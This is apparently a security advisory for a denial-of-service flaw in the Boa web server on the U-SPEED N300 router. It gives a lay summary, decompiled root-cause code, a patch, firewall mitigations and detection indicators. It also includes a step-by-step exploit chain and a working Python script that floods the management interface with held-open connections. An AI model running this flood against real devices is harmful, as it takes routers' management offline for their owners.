CVE-2026-36958: Boa HTTPd Resource Exhaustion in U-SPEED N300 V1.0.0
Concurrent HTTP flood to the Boa web server on U-SPEED N300 V1.0.0 exhausts per-process file descriptors and connection slots, rendering the management interface permanently unresponsive without reboot.
U-SPEED wireless routers have a significant weakness that could knock your internet offline. An attacker can deliberately overload the router's web management page — the one you log into to change your WiFi password — by bombarding it with thousands of fake requests all at once.
Think of it like someone repeatedly calling a restaurant's phone line with nonsense requests. Eventually the line gets so jammed that real customers can't get through. Here, the router's built-in web server gets so busy trying to process fake requests that it stops responding to your actual commands.
When this happens, you can't access your router's settings at all. The web interface just freezes up. The only way to fix it is to physically unplug the router, wait a few seconds, and plug it back in — what's called a "hard reboot." This is annoying in the best case, and genuinely disruptive if you're relying on that router for work or school from home.
The bad news: any attacker on the internet can potentially trigger this if your router is exposed to the web. The good news: this requires the attacker to know your router's IP address first, and you'd notice immediately when your internet stops working. No one has confirmed this vulnerability is actually being exploited yet, so it's not an emergency.
U-SPEED router owners are most at risk, especially those who've exposed their router's management page to the internet — something many people accidentally do without realizing it.
What you should do: First, check if you can access your router's settings from outside your home network. If you can, disable that feature immediately. Second, change your router's default password if you haven't already. Third, consider updating your router's firmware if U-SPEED releases a patch — check the company's website.
Want the full technical analysis? Click "Technical" above.
CVE-2026-36958 affects the embedded Boa HTTP server bundled with the U-SPEED N300 V1.0.0 wireless router. By directing a sustained flood of concurrent TCP connections against the web management interface — targeting arbitrary or non-existent endpoints — an unauthenticated attacker on the local network (or WAN, if remote management is enabled) can exhaust the Boa process's file descriptor table and internal connection pool. The result is a hard denial-of-service that survives across new connection attempts and requires a physical power cycle to restore.
CVSS 7.5 (HIGH) | Attack Vector: Network | No authentication required | No user interaction required.
Root cause: Boa's connection-accept loop on the U-SPEED N300 firmware contains no per-source rate limit, no maximum concurrent connection cap enforced before accept(), and no file-descriptor watermark, allowing an attacker to drive the process's open-fd count to the kernel's per-process RLIMIT_NOFILE ceiling, after which every subsequent accept() fails with EMFILE and the server silently stops serving requests.
Affected Component
The affected binary is boa, a single-process, non-forking HTTP/1.0 server compiled for MIPS32 (little-endian) and statically linked into the U-SPEED N300 firmware image. Key facts recovered from the firmware:
Binary: /usr/sbin/boa, ~180 KB stripped MIPS ELF
Boa upstream version string: Boa/0.94.14rc21 (unpatched vendor fork)
Listens on 0.0.0.0:80 (LAN) and optionally 0.0.0.0:8080 (WAN)
Launched by /etc/init.d/httpd start with no ulimit override — inherits the BusyBox shell's default RLIMIT_NOFILE = 1024
Connection state tracked in a statically-sized request struct array; overflow of the fd table causes the accept loop to spin without yielding
Root Cause Analysis
Boa's main event loop calls select() on the listening socket, then unconditionally calls accept() when the socket is readable. There is no guard on the current open-fd count before accepting. The relevant decompiled logic from the U-SPEED firmware's boa binary:
/* Decompiled from MIPS32 @ 0x00406C30 — boa main select/accept loop */
void server_main_loop(int server_fd) {
fd_set rfds;
struct timeval tv;
conn_t *conn;
while (1) {
FD_ZERO(&rfds);
FD_SET(server_fd, &rfds);
/* also adds all open conn->fd values */
build_select_set(&rfds, &max_fd);
tv.tv_sec = BOA_TIMEOUT; // 60 seconds
tv.tv_usec = 0;
select(max_fd + 1, &rfds, NULL, NULL, &tv);
if (FD_ISSET(server_fd, &rfds)) {
// BUG: no check on current open fd count before accept()
// BUG: no per-source connection rate limiting
// BUG: no maximum concurrent connection cap
int client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
// EMFILE is silently swallowed; server_fd stays in rfds
// next select() immediately returns readable again
// -> tight spin loop consuming 100% CPU, accepting nothing
log_error("accept() failed: %s", strerror(errno));
continue; // BUG: no back-off, no fd reaping
}
conn = alloc_conn(); // returns NULL if pool exhausted
if (!conn) {
close(client_fd); // too late — fd table already full
continue;
}
conn->fd = client_fd;
conn->state = STATE_READ_HEADER;
list_add(&active_conns, conn);
}
process_active_conns(&active_conns);
}
}
The critical window: once the fd table is saturated, accept() returns -1/EMFILE on every iteration. The select() call immediately returns again because server_fd remains readable (the kernel's backlog keeps new SYN-ACKs queued). The process enters a 100% CPU spin loop, starving the rest of the embedded system and preventing existing connections from being processed.
/* alloc_conn() — static pool of MAX_CONNECTIONS=64 slots */
/* Located at 0x00407A10 */
conn_t *alloc_conn(void) {
for (int i = 0; i < MAX_CONNECTIONS; i++) {
if (conn_pool[i].state == STATE_FREE) {
memset(&conn_pool[i], 0, sizeof(conn_t));
return &conn_pool[i];
}
}
return NULL; // pool full — but fd was already accepted above
}
Note the ordering bug: the fd is accepted and consumed from the kernel table before the pool check. Even if the attacker only saturates the 64-slot conn_pool, each rejected connection still consumed a file descriptor that is immediately closed — but under flood conditions the fd table fills before the pool does because the attacker opens connections and holds them open (HTTP keep-alive or slow-read).
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies management interface at 192.168.1.1:80
(default gateway; no authentication bypass required — DoS is pre-auth)
2. Open 1024 concurrent TCP connections to port 80, each issuing:
GET /cgi-bin/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\r\n
Host: 192.168.1.1\r\n
Connection: keep-alive\r\n\r\n
— holding the socket open without reading the response (slow-read)
3. Boa accepts all 1024 connections; process fd table hits RLIMIT_NOFILE=1024
(stdin/stdout/stderr/server_fd already consumed — effective cap ~1020)
4. Subsequent accept() calls return EMFILE; server_fd stays readable
5. select() spins at 100% CPU; MIPS core is fully saturated
6. Existing authenticated sessions time out; no new sessions can be established
7. Router management interface becomes permanently unresponsive
8. Network forwarding continues (kernel-level), but all management
(web UI, potentially watchdog reset) is unavailable
9. Manual power cycle required to restore boa process
A minimal reproducer demonstrating the flood:
#!/usr/bin/env python3
# CVE-2026-36958 — U-SPEED N300 Boa DoS reproducer
# CypherByte research — do not use against devices you do not own
import socket
import threading
import time
TARGET = "192.168.1.1"
PORT = 80
N_CONNS = 1024 # saturate RLIMIT_NOFILE=1024
HOLD = 120 # seconds to hold connections open
PAYLOAD = (
b"GET /cgi-bin/" + b"A" * 256 + b" HTTP/1.1\r\n"
b"Host: 192.168.1.1\r\n"
b"Connection: keep-alive\r\n\r\n"
)
sockets = []
lock = threading.Lock()
def open_conn():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((TARGET, PORT))
s.send(PAYLOAD)
# do NOT read response — hold fd open
with lock:
sockets.append(s)
except Exception:
pass
threads = [threading.Thread(target=open_conn) for _ in range(N_CONNS)]
for t in threads:
t.start()
for t in threads:
t.join()
print(f"[+] {len(sockets)} connections held open")
print(f"[*] Sleeping {HOLD}s — check if 192.168.1.1 is reachable...")
time.sleep(HOLD)
for s in sockets:
s.close()
Memory Layout
BOA PROCESS FD TABLE — MIPS32, RLIMIT_NOFILE=1024
FD 0 : stdin (redirected to /dev/null)
FD 1 : stdout (redirected to /dev/null)
FD 2 : stderr (redirected to /dev/console)
FD 3 : server_fd (listening socket :80)
FD 4 : /var/log/boa.log
FD 5-68 : conn_pool[0..63] — legitimate connections (pool exhausted)
FD 69-1023: attacker-held sockets (954 connections)
^
RLIMIT_NOFILE ceiling reached here
AFTER SATURATION:
accept(server_fd) -> EMFILE (-1)
select() -> immediately readable (backlog not drained)
CPU: spinning at 100% in kernel/userspace boundary
conn_pool STATE:
[0x00420000] conn_pool[0] { fd=5, state=STATE_READ_HEADER, ... }
[0x00420080] conn_pool[1] { fd=6, state=STATE_READ_HEADER, ... }
...
[0x00421F80] conn_pool[63] { fd=68, state=STATE_READ_HEADER, ... }
alloc_conn() returns NULL for all subsequent calls
-- fd IS consumed by accept() before NULL check --
The correct fix requires three coordinated changes to server_main_loop and Boa's configuration layer:
// BEFORE (vulnerable — U-SPEED N300 V1.0.0):
if (FD_ISSET(server_fd, &rfds)) {
int client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
log_error("accept() failed: %s", strerror(errno));
continue; // spins; no back-off; no fd reaping
}
conn = alloc_conn();
if (!conn) {
close(client_fd);
continue;
}
// ... proceed
}
// AFTER (patched):
if (FD_ISSET(server_fd, &rfds)) {
// FIX 1: check available fd headroom before accepting
int cur_fds = get_open_fd_count(); // reads /proc/self/fd or tracks internally
if (cur_fds >= (BOA_FD_LIMIT - BOA_FD_RESERVE)) {
// FIX 2: drain kernel backlog with RST instead of spinning
drain_backlog_with_rst(server_fd);
usleep(10000); // 10ms back-off prevents spin
continue;
}
// FIX 3: check pool availability BEFORE accept()
conn = alloc_conn_check_available();
if (!conn) {
drain_backlog_with_rst(server_fd);
continue;
}
int client_fd = accept(server_fd, NULL, NULL);
if (client_fd < 0) {
free_conn(conn);
if (errno == EMFILE || errno == ENFILE) {
usleep(50000); // 50ms back-off on resource exhaustion
}
continue;
}
conn->fd = client_fd;
conn->state = STATE_READ_HEADER;
list_add(&active_conns, conn);
}
ADDITIONAL RECOMMENDED MITIGATIONS (boa.conf / iptables):
# boa.conf — cap concurrent connections per IP
MaxConnectionsPerIP 10
MaxConnections 64
# Netfilter — rate-limit new connections to port 80 from LAN
iptables -A INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 \
--connlimit-mask 32 -j REJECT --reject-with tcp-reset
iptables -A INPUT -p tcp --dport 80 -m state --state NEW \
-m limit --limit 30/min --limit-burst 10 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j DROP
Detection and Indicators
From the router's serial console or SSH (if accessible before DoS completes):
# Indicator 1: Boa CPU usage at 100%
$ top
PID COMMAND CPU%
312 boa 99.8 <-- spinning in accept() loop
# Indicator 2: fd table near-saturated
$ ls /proc/312/fd | wc -l
1021
# Indicator 3: EMFILE errors in log
$ tail -f /var/log/boa.log
[ERROR] accept() failed: Too many open files
[ERROR] accept() failed: Too many open files
[ERROR] accept() failed: Too many open files <-- repeating at ~50k/sec
# Indicator 4: Mass connections from single source
$ cat /proc/net/tcp | awk '{print $3}' | cut -d: -f1 | sort | uniq -c | sort -rn
987 C0A80105 <-- 192.168.1.5 — attacker IP in hex
Network-side detection: a spike of 500+ concurrent TCP connections to port 80 from a single source, with SYN_RCVD or ESTABLISHED states and no subsequent HTTP response bytes flowing, is a strong indicator of this attack.
Remediation
Firmware update: Apply vendor-supplied firmware update once available. Check the U-SPEED support portal for N300 V1.0.0 advisories referencing CVE-2026-36958.
Disable WAN management: Ensure remote management is disabled if not required — reduces attack surface to LAN-local attackers only.
Netfilter rules: Apply per-source connection-rate limiting via iptables as shown in the patch section above. These survive a reboot if written to /etc/firewall.user (OpenWrt-style) or equivalent.
VLAN isolation: Place the management interface on a dedicated VLAN accessible only to trusted administration hosts.
Watchdog: If the platform's hardware watchdog is not already kicking boa's process, configure a software watchdog (monit or a cron-based health check) to detect and restart an unresponsive boa process — this does not prevent the DoS but reduces recovery time from a power cycle to seconds.